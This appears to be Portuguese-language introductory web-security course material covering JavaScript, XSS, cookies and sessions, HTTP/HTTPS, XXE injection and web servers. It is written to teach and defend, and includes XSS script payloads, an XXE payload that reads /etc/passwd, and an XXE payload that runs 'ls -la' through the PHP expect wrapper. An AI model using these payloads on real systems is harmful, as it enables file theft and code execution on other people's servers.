    else { // caso a condição nos parênteses do 'if' não seja satisfeita, esse bloco de código é executado
        alert(`${dados.nome}, a senha digitada está incorreta`); // emite um alerta na tela, avisando que a senha referente ao usuário digitado está incorreta
    } // fim do bloco de código referente ao 'else'

    return dados; // caso a função não tenha terminado antes, ela termina aqui, retornando o conteúdo de 'dados' (variável) para onde foi feita a chamada à essa função
}
```

## Leitura adicional

* Guias detalhados do JavaScript básico ao avançado
* [Manual - Javascript](https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference)
* [Especificação do JavaScript](https://www.ecma-international.org/publications-and-standards/standards/ecma-262/)


# Cross Site Scripting (XSS)

XSS é a sigla para Cross-Site Scripting (porque CSS já estava sendo usada). Cross-Site Scripting é uma técnica que utiliza de certas vulnerabilidades para inserir código malicioso em uma página legítima na web. Geralmente, o código é escrito em Javascript, por ser a linguagem que o navegador usa durante a renderização de páginas web.

Se quiser saber mais sobre Javascript, [clique aqui](https://github.com/GANESH-ICMC/Introducao-a-Seguranca-Digital/tree/bfbf77e3044aa23b5202f22ffec54f406d8f2db0/web/semana-1/05_Introdução_Javascript.md).

As injeções de código por XSS, geralmente, têm o mesmo ponto de partida: falta de sanitização do *input* do usuário.

Por exemplo, num formulário de cadastro, existem diversos campos nos quais o usuário pode digitar, como nome ou endereço. Mais tarde, quando outras pessoas visualizarem o nome que você cadastrou, o servidor vai entregar ao navegador delas o texto que você digitou. Ou seja, o navegador está executando uma instrução que é parte feita pelo desenvolvedor da página e parte feita por você.

Para deixar o exemplo um pouco mais claro, suponha esse exemplo fictício de uma página que quando vai exibir o nome do usuário usa essa função:

```javascript
function render_username(username) {
        //Code ...
    document.write('<h4>' + username + '</h4>')
}
```

Essa função pega o nome, coloca a tag de título em volta e coloca na página. Se o parâmetro *username* estiver corretamente sanitizado, não há maiores problemas, mas se este não for o caso, temos uma vulnerabilidade de XSS.

Nesse exemplo, bastaria eu escrever `<script>alert("oi")</script>` como nome de usuário no cadastro e todos que lerem meu nome receberão um pop-up com o texto "oi". Se trocarmos na função o valor do username, fica mais claro:

```javascript
function render_username(username) {
        //Code ...
    document.write('<h4>' + '<script>alert("oi")</script>' + '</h4>')
}
```

Exemplo de site que sanitiza a entrada do usuário ![Google](https://i.imgur.com/EUT6AGI.png)

## Diferentes Classificações de XSS

O exemplo que foi dado acima é chamado de DOM Based XSS, isso porque é o Javascript que modifica a página HTML por meio do [DOM](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction). Além do ataque ter a classificação de ser ou não DOM Based, ainda existe outra classificação quanto ao ataque XSS: onde ele está armazenado.

### Reflected XSS

Esse é o XSS que é executado apenas do lado do cliente por exemplo, uma página de busca que exibe o conteúdo buscado (ver imagem abaixo). Nessa página, o texto "Conteúdo buscado" não é armazenado no servidor, mas é exibido no cliente e fica salvo na url do site. Por isso, se o site tiver vulnerabilidade XSS no campo de busca e alguém te mandar o link `http://site.vulneravel.tk/busca?q=<script>alert("oi")</script>` Basta você clicar nele e você já está executando o código potencialmente malicioso.

![Exemplo reflected](https://i.imgur.com/isfD885.png)

Justamente por não ser armazenado no servidor, o ataque XSS Refletido é mais difícil de rastrear, porém é possível que a vítima tenha uma ideia do que está acontecendo ao ler a URL.

Nesse tipo de ataque, os agentes maliciosos utilizam de engenharia social para que pessoas acessem o link afetado, como envio de e-mails para várias pessoas sobre promoções e sorteios falsos, que clicando no link, a pessoa vai ganhar algum prêmio.

No exemplo da imagem, o "Conteúdo buscado" pode ser colocado na página de duas formas: pelo servidor, antes de enviar a resposta da requisição, ou pelo cliente, após receber a página. Se a página já vem com o conteúdo escrito, o ataque XSS não é DOM Based, mas caso ele seja modificado posteriormente por meio de Javascript ele é.

### Stored XSS

Esse tipo de ataque XSS, ao contrário do Refletido, é armazenado no servidor. Um exemplo clássico seria um post de um usuário em uma rede social. Se o texto do post não for sanitizado quando salvo no banco de dados, na hora de exibí-lo, código malicioso poderá ser executado.

Dessa vez, é impossível a vítima evitar o ataque, já que ela está apenas navegando no site, e não é possível diferenciar o código malicioso do código genuíno da página.

Portanto, o Stored XSS é mais nocivo (em se tratando de medidas de proteção que o usuário pode tomar), mas é "facilmente" identificado pelos administradores, uma vez que o código é armazenado no servidor.

## Prevenção contra o XSS

Conforme dito, o XSS se apoia, majoritariamente, na falta de filtros aplicados no conteúdo digitado pelo usuário, portanto a forma mais simples e eficiente de acabar com vulnerabilidades XSS nos campos de uma página é aplicar [filtros](http://htmlpurifier.org/comparison#striptags) e sanitizações, de modo a remover caractéres especiais que possam vir a causar problemas.

### CSP

Outra forma de garantir que a página não sofrerá de vulnerabilidades XSS, mesmo que os campos não possuam filtros é criar um sistema de "autenticação de scripts". O [CSP](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html) faz exatamente isso: ele restringe quais elementos da página HTML terão permissão de executar scripts. Dessa forma, impede a execução de código que não pertença genuinamente à página.

## Fontes

* <https://www.welivesecurity.com/br/2017/07/07/vulnerabilidade-cross-site-scripting/>
* <https://pt.pmgacademy.com/blog/artigos/tudo-sobre-xss>
* <https://littlemaninmyhead.wordpress.com/2018/06/24/demonstrating-reflected-versus-dom-based-xss/>
* [Slides](https://docs.google.com/presentation/d/13nax37vFi-T5ZyQp0VmpsP1NDS1LUkGkYBeg5cP4TUw/edit?usp=sharing)


# Cookies e sessões

## Pra que servem cookies e sessões:

O protocolo HTTP é stateless, ou seja, ele não mantém um estado/conexão. Toda a interação que o seu cliente fizer com um servidor web acarretará em uma nova requisição e resposta.

As requisições são independentes e possuem um tempo de vida (conexão, envio de mensagem, resposta, encerramento da conexão). O servidor web não é capaz de identificar se duas requisições vieram de um mesmo navegador, e o mesmo não faz nenhum gerenciamento em memória para que mensagens sejam compartilhadas entre requisições.

É para suprir esta necessidade que entram os cookies e sessões.

## Cookies:

Tecnicamente falando, um cookie é uma pequena quantidade de informação persistida temporariamente pelo navegador. Os navegadores normalmente limitam o tamanho dos cookies em até 4KB, e apagam cookies com a data de “validade vencida”.

Através de cookies o servidor web é capaz de trocar informações de estado com o navegador do usuário.

Assim podemos por exemplo fazer compras online adicionando produtos a um carrinho, se não houvessem os cookies as informações do carrinho seriam perdidas ao mudarmos de página.

Exemplo de cookie feito utilizando-se do PHP:

```php
<?php
    // cookies.php

    if (isset($_COOKIE['cookie_teste'])) {
        echo 'Você JÁ passou por aqui!';
    } else {
        echo 'Você NUNCA passou por aqui.';
        setcookie('cookie_teste', 'Algum valor...', time() + 3600);
    }
?>
```

Aqui ao entrarmos em uma página o código verifica se o cookie existe, caso não exista o cookie é criado.

Vale ressaltar que nesse nosso exemplo o cookie tem duração de 3600 segundos.

## Sessions:

As sessões têm um princípio similar aos cookies, só que o armazenamento do estado é feito pelo servidor web, e não pelo navegador.

Por exemplo, quando construímos uma aplicação que necessita de autenticação, no momento em que o usuário efetuar o login, podemos até permitir que algumas informações sejam armazenadas em um cookie, mas dados mais “sensíveis”, como usuário e e-mail, são mais interessantes de serem guardadas em sessões. Isto, pois não é seguro que esse tipo de informação fique “viajando” pela web.

Mas se o HTTP é stateless, e o servidor web não tem como identificar que a requisição anterior veio do meu browser, como é que ele sabe que as informações que eu guardei em sessão são de fato minhas? Simples… através de cookies!

Quando iniciamos uma sessão, é enviado um cookie para o navegador, com um valor único que corresponde a sessão aberta no servidor web. Vamos ilustrar através do exemplo abaixo:

```php
<?php
    // sessions.php

    session_start();

    if (isset($_SESSION['usuario'])) {
        echo "Bem vindo {$_SESSION['usuario']}!";
    } else {
        echo 'Você NUNCA passou por aqui.';
        $_SESSION['usuario'] = 'João';
    }
?>
```

O código acima inicia uma sessão através do método session\_start. Na primeira visita, será criado um índice usuario com o valor João.

Quando visitarmos o sessions.php novamente, o navegador informará ao servidor que ele possui um cookie chamado PHPSESSID. A partir daí o PHP pega o valor deste cookie, recupera a sessão da memória (ou de um banco de dados, ou arquivos em disco) e atribui este valor ao array global $\_SESSION.

## Diferenças entre cookie e sessão:

|                                     Cookie                                     |                                                                    Sessão                                                                    |
| :----------------------------------------------------------------------------: | :------------------------------------------------------------------------------------------------------------------------------------------: |
|  Cookies são arquivos do lado do usuário que contem informações sobre o mesmo  |                                  Sessões são arquivos do lado do servidor que contém informações do usuário                                  |
|                 Cookies duram o tempo cujos quais foram setados                |                                            Uma sessão é terminada quando o usuário fecha o browser                                           |
| Você não precisa começar um cookie como ele é armazenado na máquina do usuário |                                     No PHP é necessário inicializar a sessão, usando 'session\_start();'                                     |
|                     O tamanho máximo de um cookie é de 4KB                     | Em uma sessão você pode armazenar quanta informação quiser, cujo limite padrão é o máximo de memória que um script pode consumir que é 128MB |
|                       Um cookie não depende de uma sessão                      |                                                          A sessão depende de cookies                                                         |
|                  Não existe uma função para dessetar um cookie                 |                      'session\_destroy();' é usado para destruir todo as informações guardadas ou para dessetar algumas                      |

## Referências:

* <https://www.guru99.com/difference-between-cookie-session.html>
* <https://klauslaube.com.br/2012/04/05/entendendo-os-cookies-e-sessoes.html>
* <https://www.f5.com/services/resources/glossary/cookie-poisoning>
* <https://www.venafi.com/blog/what-are-cookie-poisoning-attacks-0>


# Protocolo HTTP

O protocolo HTTP é a base da troca de dados na Web, sendo responsável por transmitir documentos de hipertexto - como o HTML -, imagens, vídeos e resultados de formulários entre cliente e servidor.

O HTTP é um protocolo *stateless* (comunicação feita por meio de mensagens individuais) cliente-servidor que segue o seguinte modelo de comunicação: um cliente (geralmente o *browser*) abre uma conexão por meio de uma requisição feita ao servidor, que recebe a requisição e envia uma resposta ao cliente. Entretanto, entre o navegador que faz a requisição e o servidor que envia a resposta existem vários dispositivos tratando e retransmitindo a mensagem (roteadores, modems, computadores e outras máquinas).

## Etapas de comunicação - Fluxo HTTP

Conforme dito anteriormente, a comunicação entre cliente e servidor ocorre por meio de mensagens individuais. Porém, quando um cliente quer comunicar-se com um servidor ele realiza os seguintes passos: 1. **Abrir uma conexão TCP**: essa conexão é utilizada para enviar uma ou várias requisições e receber respostas.

1. **Enviar uma mensagem HTTP**: um detalhe **importantíssimo** do protocolo HTTP é que essa mensagem **não é criptografada**, ou seja, ela pode ser lida por qualquer um que esteja monitorando o fluxo de pacotes da rede. A mensagem segue esse padrão:

![](https://i.imgur.com/OxDXcP7.png)

1. **Ler a mensagem de resposta do servidor**: após enviar uma requisição, se não houver problemas, o servidor enviará uma resposta. Essa resposta também **não é criptografada** e segue esse padrão:

![](https://mdn.mozillademos.org/files/13691/HTTP_Response.png)

1. **Fechar ou reutilizar a conexão TCP que foi aberta**.

## Requisições

Conforme mostrado nas duas últimas imagens, as requisições e as respostas são compostas de certos elementos.

Os **elementos das requisições** são:

* Método HTTP: operação que o cliente deseja fazer;
* O caminho do recurso a ser buscado: em outras palavras, a parte da URL que vem após o ".com", ".br", ".org" etc. (ou seja, a URL sem os *elementos de contexto*\*), indicando a localização do recurso no servidor;
* A versão do protocolo HTTP;
* *Headers* opcionais: são cabeçalhos que contém informações adicionais para os servidores, como cookies, data, linguagem aceita, tamanho da requisição e outros. Headers padrões podem ser encontrados [aqui](https://flaviocopes.com/http-request-headers/);
* Corpo de dados: contém recursos requisitados (ou enviados). Normalmente, eles vêm em respostas, mas também se fazem presentes, geralmente, em requisições do tipo `POST` por exemplo.

E os **elementos das respostas** são:

* Versão do protocolo HTTP utilizada pelo servidor;
* Código de status: indica se a requisição foi bem sucedidade ou não (e o porquê);
* Mensagem de status: breve descrição do código de status;
* *Headers* (cabeçalhos) HTTP: iguais aos da requisição;
* Corpo com dados do recurso requisitado (se algo foi requisitado).

&#x20;\* Elementos de contexto são coisas como: protocolo (`http://`), domínios e subdmínios (`www.google.com`) e a porta da conexão TCP (após a URL pode vir um`:80` por exemplo)

### Tipos de requisições (métodos HTTP)

As requisições HTTP podem ser de vários tipos, indicando a ação que deve ser realizada com determinado conteúdo. Os principais tipos são **`GET`** e **`POST`**, mas também há: **`HEAD`**, **`PUT`**, **`DELETE`**, **`CONNECT`**, **`OPTIONS`**, **`TRACE`**, **`PATCH`** e outros.

* **`GET`** é utilizado para requisitar certo conteúdo (normalmente a apresentação desse conteúdo no navegador). Esse método serve para reaver/solicitar dados.
* **`POST`** é utilizado para enviar algum conteúdo para o servidor (como os dados de um formulário preenchido ou uma tentativa de login).

  Obs.: Esses métodos podem ser usados em outros contextos, pois o servidor decide como interpretar as requisições. O servidor pode esperar um `POST` que simplesmente solicite conteúdo, sem enviar nada para o próprio servidor.

### Respostas HTTP (status codes)

Os códigos de status presentes em respostas HTTP (*HTTP responses*) indicam se a requisição foi realizada com sucesso ou não. Esses códigos são divididos em:

* Informational responses (100–199),
* Successful responses (200–299),
* Redirects (300–399),
* Client errors (400–499),
* Server errors (500–599).

### Os códigos que mais aparecem são:

* **`200`** **`OK`**: a requisição foi um sucesso, ou seja, o conteúdo da requisição foi obtido ou transmitido sem erros.
* **`301`** **`Moved Permanently`**: código de redirecionamento indicando que a recurso solicitado  foi movido permanentemente para outro local - indicado no *header* `Location`. O *browser* é redirecionado para lá automaticamente. O código 308 funciona da mesma forma.
* **`302`** **`Found`**: código de redirecionamento indicando que o conteúdo procurado está temporáriamente em outro local - também indicado no *header* de resposta `Location`. O *browser* é redirecionado para lá automaticamente. O código 307 funciona da mesma forma.
* **`400`** **`Bad Request`**: erro de sintaxe na requisição, ou seja, o servidor não conseguiu processar bem a requisição.
* **`401`** **`Unauthorized`**: requisição não autorizada. O cliente precisa se autenticar (ex.: fazer login) para conseguir o acesso ao que foi requisitado.
* **`403`** **`Forbidden`**: o cliente não pode acessar o conteúdo solicitado, ou seja, ele não está autorizado a ver certa informação (mesmo que autenticado, já que o servidor sabe a identidade do cliente).
* **`404`** **`Not Found`**: o servidor não encontrou o que foi requisitado - e o conteúdo buscado provavelmente não existe. Em *browsers*, isso significado que a URL passada não foi reconhecida.
* **`500`** **`Internal Server Error`**: erro interno do servidor, ou seja, o servidor está com problemas para lidar com certa situação.
* **`502`** **`Bad Gateweay`**: erro que indicado que o servidor, atuando como gateway (buscando a resposta para retransmitir ao cliente), recebeu uma resposta inválida.
* **`503`** **`Service Unavailable`**: o servidor não está pronto para processar a requisição. Normalmente, isso indica que o servidor está desligado ou sobrecarregado.


# Protocolo HTTPS

O HTTPS é uma implementação do HTTP com uma camada adicional de segurança: o **protocolo SSL/TLS**. Isso permite que os dados sejam transmitidos por meio de uma conexão **criptografada** e que verifica a autenticidade do servidor e do cliente por meio de **certificados digitais**.

A porta TCP normalmente utilizada para o HTTPS é a 443, enquanto para o HTTP é a porta 80.

O HTTPS serve para criar um canal seguro sobre uma rede insegura - dado que o algoritmo de criptografia utilizado é bom e o certificado do servidor é confiável -, dificultando que pessoas "escutando" na rede (por meio de ataques como *man-in-the-midde* ou algum tipo de *spoofing*) possam capturar e enteder pacotes que não são deles ou possam fingir ser quem não são.

A "confiança" fornecida pelo HTTPS é baseada em **autoridades de certificação** que vêm pré-instaladas no navegador.

## Protocolo TLS/SSL

O TLS (Transport Layer Security) é o sucesso do SSL (Secure Sockets Layer). Ambos são protocolos de segurança usado em comunicações sobre redes de computadores.

Em se tratando do TLS, o protocolo visa fornecer privacidade e integridade de dados entre duas aplicações que se comuniquem pela internet. Isso ocorre meio da **autenticação do servidor e/ou do cliente** e da **cifragem dos dados** transmitidos.

*Lembrando que isso não torna a conexão necessariamente segura, mas sim menos insegura...*

### Cifragem dos dados

O protocolo TLS usa [criptografia de chave simétrica](https://pt.wikipedia.org/wiki/Algoritmo_de_chave_sim%C3%A9trica) para criptografar os dados transmitidos. As chaves são únicas para cada conexão e trocadas por meio de um Handshake TLS no começo da comunicação (o handshake usa criptografia assimétrica).

#### Handshake TLS

Ao estabelecer uma comunicação cliente-servidor, a primeira operação que ocorre é o Handshake para determinar como o resto da comunicação será feita.

Esse handshake determina qual cifra de encriptação será usada, verifica a identidade/confiabilidade do servidor e, por fim, estabelece uma canal de comunicação criptografado.

O processo de handshake segue o fluxo abaixo: 1. Cliente manda uma mensagem para o servidor pedindo para estabelecer um canal de comunicação criptografado (passa nos *headers* a lista de cifras a versão do protocolo TLS que ele aceita usar); 2. Servidor responde com a cifra e a versão do TLS que será usada. Ele também envia um certificado digital (que autentica sua confiabilidade e permite a comunicação por meio do HTTPS) junto de sua chave pública (criptografia assimétrica); 3. Cliente verifica o certificado do servidor e extrai sua chave pública. Em seguida, ele usa essa chave para encriptar uma "pre-master key" e a envia para o servidor; 4. Servidor usa sua chave privada para decriptar a "pre-master key"; 5. Cliente e servidor usam a "pre-master key" para gerar uma chave secreta compartilhada; 6. Cliente envia uma mensagem criptografada (com a chave secreta compartilhada) e avisa que a partir daquele momento, toda a comunicação será feita dessa forma; 7. Servidor decripta a mensagem e, se tudo ocorrer conforme o esperado, ele envia uma última mensagem criptografada (com a chave secreta compartilhada) avisando que ele foi capaz de descriptografar a mensagem do cliente e que, a partir desse momento, todas as mensagem serão enviadas dessa forma (criptografas com essa chave); 8. Pronto! O resto da comunicação é feita usando a chave secreta compartilhada até o fim da sessão.

* A conexão é confiável porque cada mensagem transmitida inclui uma verificação de integridade de mensagem usando um código de autenticação de mensagem para evitar perda não detectada ou alteração dos dados durante a transmissão.

## Certificados digitais e autoridades cerificadoras

Autoridades certificadoras são companhias que analisam e validam a identidade de sites, emails, pessoas e outras companhias e vinculam-nas a chaves de criptografia por meio de certificados digitais.

Os certificados digitais buscam fornecer:

* Autenticidade, ao oferecer uma credencial para validar a identidade de certa entidade;
* Encriptação de informação, possibilitando comunicações mais seguras em redes inseguras (como a Internet);
* Integridade, assinando pacotes de informação com o certificado a fim de tentar impedir pessoas mal-intecionadas de alterá-los;

Para um certificado ser gerado, o aplicante: 1. Gera um par de chaves de criptografia, uma pública e uma privada; 2. Gera uma requisição de assinatura de certificado (CSR), que contém a recém gerada chave pública e dados como domínio, organização, email, endereço físico etc., e a envia para a autoridade certificadora; 3. A autoridade certificadora verifica as informações da entidade e, se tudo estiver correto, assina a CSR com uma chave privada e devolve-a; 4. Pronto! A entidade que aplicou para um certificado, enfim, tem um :)

Existem vários tipos de certificados digitais e os mais simples - e piores - são facilmente adquiridos (por [aqui](https://letsencrypt.org/) por exemplo). O que reforça a ideia de que um site utilizar HTTPS, ou seja, ser certificado, não demonstra que ele é 100% confiável.

Para testes locais também é possível usar certificados "self-signed" por meio de certas ferramentas como o [OpenSSL](https://www.openssl.org/).

É possível verificar informações sobre o certificado de um site clicando no cadeado ao lado da URL do website.


# 2020 - XML External Entities (XML) Injection

## O que é XXE Injection?

XXE (XML external entity) Injection é uma vulnerabilidade web que permite ao atacante se aproveitar do processamento de dados XMLs de uma aplicação de maneira maliciosa.

Dentre outros problemas, esse tipo de ataque pode levar o atacante à visualização de arquivos confidenciais e à interação com o backend da aplicação (e, possivelmente, sistemas externos), levando a possíveis SSRFs.

Mas antes de entender como funciona esse ataque, devemos entender o que é: XML, DTDs e entidades.

## Explicando brevemente XML

XML significa **Ex**tensible **M**arkup **L**anguage. Essa linguagem de marcação foi criada para armazenar e transportar dados, assim como o JSON. Por sinal, a popularidade do XML diminuiu devido ao JSON.

O XML utlizada *tags* em uma estrutura de árvore, de forma similar ao HTML (tags uma dentro da outra e dados entre o ínicio e o fim das tags). Entretanto, o XML não tem *tags* predefinidas, ou seja, a pessoa que está criando o XML pode definir suas próprias *tags*, como no exemplo abaixo:

```markup
<?xml version="1.0" encoding="UTF-8"?>
<msg lang="pt-br" category="web">
    <from> Ganeshers </from>
    <to> All </to>
    <title> Exemplo para os bixos </title>
    <body> Esse é um exemplo de XML bem simples! </body>
</msg>
```

Para saber um pouco mais sobre XML, pesquise em sites como a [w3schools](https://www.w3schools.com/xml/).

## DTD (Document Type Definition)

Como descrito acima, DTD significa "definição de tipo de documento" e ela contém declarações que definem a estrutura do XML, os tipos de dados que ele contém e mais. A DTD é opcional. Ela é declarada dentro de um elemento chamado `DOCTYPE` no começo do documento XML. Além disso, a DTD pode ser interna - declarada dentro do documento XML - ou externa - carregada de uma fonte externa.

Para exemplificar, uma XML com DTD segue esse padrão:

```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doctype_name [ 
    <!ELEMENT elem1 (elem2, elem3)>
    <!ELEMENT elem2 (#PCDATA)>
    <!ELEMENT elem3 (#PCDATA)>
 ]>
 <elem1>
    <elem2> Dados do elem2, bom dia </elem2>
    <elem3> aaaa 1235125 pode haver qualquer coisa aqui </elem3>
</elem1>
```

\_Obs.: PCDATA significa "Parsed Character Data" e representa um tipo de dado qualquer (não sei como explicar melhor, desculpa).

## Entidades XML

As *XML entities* são uma forma de representar itens do documento XML sem usar seus dados diretamente. Pode-se pensar que essas entidades seriam como variáveis em uma linguagem de programação.

Essas entidades podem ser das especificações/padrões do XML, como `&lt;` e `&gt;` (que representam `<` e `>`), ou podem ser costumizadas. As entidades customizadas são definidas dentro do DTD, como no exemplo a seguir.

```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teste [ <!ENTITY texto_com_top "Top top" > ]>
<tag_generica> &lt;&texto_com_top;&gt; </tag_generica>
```

Nesse documento XML, `&texto_com_top;` seria substituido por`<Top top>`.

Com base nesse exemplo, nota-se que as entidades criadas devem ser referenciadas com `&` + `nome da entidade` + `;`.

### Entidades internas

Como no exemplo anterior, as entidades internas são definidas no próprio documento XML, dentro do DTD do qual elas fazem parte, ou seja, não é necessário que o servidor que está processando o XML busque algum dado fora do documento.

### Entidades externas

Já esse tipo de entidade é caracterizado por conter uma definição que está fora do documento XML, ou seja, o resposável por processar o XML com uma entidade externa deverá buscar a definição da entidade fora do DTD. Esse tipo de entidade vem com a palavra-chave `SYSTEM` para indicar que ela é externa. Após o `SYSTEM`, há uma URL indicando de onde o valor deve ser carregado.

A entidade externa pode refenciar tanto servidores e serviços externos quanto o próprio servidor interno (usando o protocolo `file://`).

```markup
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
```

## Voltando ao ataque

Agora que já foi explicado um pouco sobre XML, vamos entender um pouco sobre o ataque...

Esse tipo de Injection é possível em aplicações que usam XML para transmitir dados entre cliente (navegador) e servidor. O XML enviado para o servidor (backend) é "tratado" por um *parser* (normalmente de alguma API ou biblioteca já existente) e muitas vezes esse tratamento é feito de forma indevida, permitindo que o dado enviado pelo cliente/atacante possa manipular o funcionamento do backend de forma maliciosa. Com exemplos, isso ficará mais claro...

### Exemplo 1: acessando arquivos do servidor

Como explicado anteriormente, as entidades externas presentes em documento XML podem buscar arquivos dentro do próprio servidor por meio do protocolo `file://`. Sendo assim, em certos casos no qual há vulnerabilidade no tratamento do XML, pode ser possível acessar arquivos como `/etc/passwd` por meio de um XXE Injection:

```markup
<?xml version="1.0"?>
<!DOCTYPE root [
    <!ELEMENT root ANY>
    <!ENTITY xxe SYSTEM 'file:///etc/passwd'>
]>
<root> &xxe; </root>
```

Caso o servidor retornasse o que está em `<root>` para ser exibido em um documento HTML, receberíamos o conteúdo de `/etc/passwd`.

### Exemplo 2: Execução de código remoto com PHP

Com um pouco de sorte, é possível que o servidor tenho o módulo (wrapper) `expect` carregado (por padrão ele não é), o que possivelmente permitirá execução de código a partir de um payload como o a seguir.

```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
    [<!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://exec('ls -la')" >
]>
<creds>
  <user> &xxe; </user>
  <pass> 123 </pass>
</creds>
```

Além desse exemplos, há diversos outros possíveis ataques a partir dessa vulnerabilidade. Alguns links que podem ser interessantes para aprender um pouco mais sobre XXE Injection são:

* <https://portswigger.net/web-security/xxe>
* <https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing>
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection)


# Semana 2

## Sumário - Aulas Semana 2

### Conceitos iniciais:

* [Servidores Web, o que são?](/web/semana-2/08_servidores_web)
* [Portas e Serviços](/web/semana-2/ports_e_servicos)

### Estrutura back-end de uma página Web dinámica:

* [PHP e programação server-side](/web/semana-2/09_php)
* [APIs e Serviços Rest](/web/semana-2/apis_e_rest)

### Bancos de dados, o que são:

* [Introdução aos Bancos de Dados](/web/semana-2/13_bancos_de_dados)

### Algumas vulnerabilidades:

* [Command Injection](/web/semana-2/10_command_injection)
* [Cookie Poisoning](/web/semana-2/12_cookie_poisoning)
* [SQL Injection](/web/semana-2/14_sql_injection)
* [Insecure Direct Object Reference](https://github.com/GANESH-ICMC/Introducao-a-Seguranca-Digital/tree/bfbf77e3044aa23b5202f22ffec54f406d8f2db0/web/semana-2/15_IDOR.md)

#### Autores do material:

* [Gabriel Van Loon](https://github.com/GabrielVanLoon)
* [Alexandre Junior](https://github.com/alexandregjr)
* [Pedro Guerra Lourenço](https://github.com/Haltz01)
* Adicionar outros autores que ajudaram em 2021!


# Servidores Web

## Introdução aos Servidores Web

*Até o momento atual vimos como o protocolo HTTP(S) atua como o protocolo de comunicação da Web, permitindo que os navegadores possam solicitar diferentes tipos de conteúdos pela Internet. A partir de agora, iremos nos focar em entender um pouco da arquitetura que permite que a web ofereça tantos serviços e sites tal como conhecemos nos dias atuais.*

![Servidores Web](https://i.imgur.com/m9D1tgU.jpg)

## 1. O que é um Servidor Web?

Podemos definir um Servidor Web simples como um computador com uma série de mecanismos capazes de:

1. **Receber** requisições HTTP dos clientes,
2. **Processar** as requisições uma a uma,
3. **Retornar** uma resposta HTTP aos clientes.

Apesar de poucas etapas, o processamento muitas vezes pode ser algo simples, como o conteúdo de uma imagem, ou algo complexo como uma busca em um conjunto de bases de dados com milhares de registros.

Qualquer computador com acesso à uma rede pode agir como um Servidor Web e o objetivo dos próximos tópicos será de dar um breve vislumbre de quais são esses mecanismos e como eles atuam para que o servidor entregue o conteúdo esperado para cada requisição.

### 2. Servidor HTTP e Tipos de Conteúdos

O mecanismo responsável por estabelecer as conexões e processar as mensagens HTTP recebidas é chamado de **Servidor HTTP**, e a sua função é mapear, por meio das informações recebidas pelos cabeçalhos, qual tipo de conteúdo o cliente deseja receber do servidor.

![Estrutura Servidor HTTP](https://i.imgur.com/HHyYUgW.png)

Fonte: developer.mozilla.org

Podemos dividir os tipos de conteúdos em duas categorias principais:

* **Conteúdos Estáticos:** são arquivos que não necessitam de nenhum tipo de processamento do servidor, bastando que o processo apenas leia e retorne uma cópia do mesmo para o cliente (Ex: arquivos de imagens, CSS, JS, HTML, PDF, ZIP).
* **Conteúdos Dinâmicos:** são conteúdos que demandam algum tipo de processamento para retornar o conteúdo. Uma pesquisa, por exemplo, necessita que haja uma busca em um banco de dados e que a resposta seja construída de acordo com a requisição.

Geralmente no segundo caso, o servidor HTTP irá invocar a execução de algum código escrito em alguma linguagem de programação (Ex: PHP, Python, Javascript) seja na mesma máquina ou em um Servidor de Aplicação externo e este será responsável por realizar toda a carga de trabalho necessária. Nas aulas futuras iremos abordar com mais detalhes como esses outros mecanismos funcionam.

Vamos ver então dois exemplos de servidores web amplamente utilizados atualmente: o Apache HTTP Server e o Nginx. Mas antes, caso queira se aprofundar nos tópicos visto até o momento recomendamos os seguintes links:

1. Uma visão geral do HTTP. (<https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Overview>)
2. O que é um Servidor Web? (<https://developer.mozilla.org/pt-BR/docs/Learn/Common_questions/o_que_e_um_web_server>)
3. Servidor Web: Hardware ou Programa? (<https://tudosobrehospedagemdesites.com.br/servidor-web/#servidor-web-programa>)
4. What Is an Application Server vs. a Web Server? (<https://www.nginx.com/resources/glossary/application-server-vs-web-server/>)

### 3. Apache HTTP Server

![](https://s3.amazonaws.com/stillat/img/ch1_request_lifecycle.png) Fonte: <https://stillat.com/>

O projeto Apache é um servidor web criado em 1995 e é, desde então, um dos servidores mais utilizados para a hospedagem de websites (<https://news.netcraft.com/archives/category/web-server-survey/>). O core da sua aplicação é bastante enxuto e focado principalmente na tarefa de buscar e transmitir os dados requisitados via HTTP. No entanto, graças a uma grande comunidade de desenvolvedores e a sua arquitetura que permite a integração de módulos externos, ele se tornou uma ferramenta poderosa e muita utilizada ainda hoje.

Uma das vantagens do Apache é a sua alta integração com com outros projetos Open Source como o PHP e o MySQL. O uso dessas tecnologias em conjunto é muito comum e **recomendada como porta de entrada para aqueles que querem saber mais sobre desenvolvimento web**. Há diversos projetos que permitem a instalação dos três de maneira rápida, permitindo a criação de um servidor web local em conjunto com um banco de dados (ex: XAMP, WAMP, LAMP).

Para saber mais sobre, veja os seguintes links:

1. An Introduction to Apache (<https://code.tutsplus.com/tutorials/an-introduction-to-apache--net-25786>)
2. How Does PHP Work With The Web Server And Browser? (<https://stillat.com/blog/2014/04/02/how-does-php-work-with-the-web-server-and-browser>)
3. Apache tutorial (<https://www.guru99.com/apache.html>)

### 4. NGINX Web Server

![](https://www.aosabook.org/images/nginx/architecture.png) Fonte: <https://www.aosabook.org>

O NGINX se trata de um sistema Open Source que atua como Web Server, foi lançado em 2004 com o objetivo de ser um servidor com alta escalabilidade e eficiência e é atualmente o servidor mais utilizado para servir conteúdos web.

Assim como o Apache, o NGINX também possui alta integração com muitos outros projetos Open Source, além de possui muitos outros serviços além do de HTTP Server como Proxy Reverso, Load Balancer e Web application Firewall. Caso queira se aprofundar mais em como ele funciona, veja os links a seguir

1. What is NGINX? (<https://www.nginx.com/resources/glossary/nginx/>)
2. Inside NGINX (<https://www.nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale/>)
3. NGINX (<https://www.aosabook.org/en/nginx.html>)
4. Beginner's Guide (<http://nginx.org/en/docs/beginners_guide.html#control>)

### 5. Arquitetura da Web na vida real

